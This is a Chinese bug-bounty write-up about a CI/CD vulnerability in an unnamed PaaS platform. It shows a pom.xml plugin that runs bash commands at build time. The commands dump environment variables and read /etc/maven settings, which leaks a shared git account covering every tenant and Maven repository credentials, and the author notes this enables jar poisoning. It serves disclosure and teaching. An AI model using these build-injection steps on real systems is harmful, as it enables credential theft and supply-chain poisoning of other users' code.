一万多块奖金的PaaS平台漏洞

admin 2024年4月28日10:59:04评论4 views字数 2012阅读6分42秒阅读模式

现在国内有很多PAAS平台,为开发者提供快速构建部署应用环境。

基本上PAAS平台提供了CI/CD的能力的,大部分都支持JAVA应用构建。

今天的目标的国内某PAAS服务商,由于不方便透露是哪个平台,就叫"x"平台吧。

经过开发者认证之后,用户可以将代码通过控制台上传到x平台的gitlab上,然后进行应用构建。

比如我的用户名是minzhi, 创建的应用英文名是javademo,PAAS平台会自动创建一个代码仓:

http://x.gitlab.com/minzhi/javademo.git

写java的人应该知道,java在building的时候可以执行命令。只需要在pom.xml中写一个执行命令的plugin。

<build>    <plugins>            <plugin>                <groupId>org.codehaus.mojo</groupId>                <artifactId>exec-maven-plugin</artifactId>                <version>1.6.0</version>                <executions>                    <execution>                        <id>run-script</id>                        <phase>validate</phase>                        <goals>                            <goal>exec</goal>                        </goals>                    </execution>                </executions>                <configuration>                    <executable>bash</executable>                    <arguments>                        <argument>                            -c                        </argument>                        <argument>{XML-Escaped-Payload}</   argument>                    </arguments>                </configuration>            </plugin>    </plugins></build>

我把payload改成

<argument>echo "123"; env</argument>

为什么要echo "123";env 而不直接env?因为执行echo “123”会导致编译失败,编译失败了我们就可以去看日志,从日志中我们就能看到env的结果

一万多块奖金的PaaS平台漏洞

日志中打印出了环境变量,其中泄漏了2个关键配置信息。

APP_CODE_SOURCE:代码仓地址以及仓库用户和密码MAVEN_CMD_ARGS: 包含了mavensettings.xml

这里的问题是git仓库用的是一个大账号,而不是每个租户单独的git账号。

等于说,我可以操作paas平台上所有租户的代码仓库,包括clone、push、merge。

这里我对其他租户的仓库push一个test.txt文件

一万多块奖金的PaaS平台漏洞

上面的MAVEN_CMD_ARGS变量中,泄漏了maven的本地仓配置文件,也就是我们开发环境中./m2/settings.xml文件。

在本地修改javademo的pom.xml,上面执行命令的plugin的命令改成

 <argument>echo "123";cat /etc/maven/settins.xml</argument>

然后执行git push更新到paas平台,然后点击构建。编译错误后,我们查看日志,可以看到settings.xml中的maven本地仓账号密码。

一万多块奖金的PaaS平台漏洞

将恶意代码植入maven本地仓中的核心jar包中就实现了组件投毒攻击。

有几个人总是问我怎么挖SRC、挖众测。

我在之前的《信息安全学习卷起来,内含各种学习资源》中已经分享了足够多的学习资源。

今天分享的漏洞中利用到的payload以及攻击方式在这个学习资源里有。

一万多块奖金的PaaS平台漏洞

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CICD

所以不要再问别人怎么挖漏洞了。如果觉得自己很菜,没啥基础,就去学习portswigger Academy、owasp top 10 2021、PayloadsAllTheThings的内容。如果觉得自己有基础,但还是挖不到,那就是没啥经验,多看看别人怎么挖

https://www.bugbountyhunter.com/disclosed/https://hackerone.com/hacktivity/overview/https://nored0x.github.io/penetration%20testing/writeups-Bug-Bounty-hackrone/https://pentester.land/writeups/

我看的比较多的是第2个和第4个。第2个是hackerone官网公开的report,第4个是某个大佬整理的别人写的bugbounty的writeup分享,我刚刚看了下,最新的文章恰好和我这篇文章一样也是CI/CD的漏洞。

一万多块奖金的PaaS平台漏洞

往期文章参考

1. 信息安全学习卷起来

2. 如何从网络安全小白到安全专家?

原文始发于微信公众号(信息安全笔记):一万多块奖金的PaaS平台漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月28日10:59:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一万多块奖金的PaaS平台漏洞https://cn-sec.com/archives/2079789.html

发表评论

匿名网友 填写信息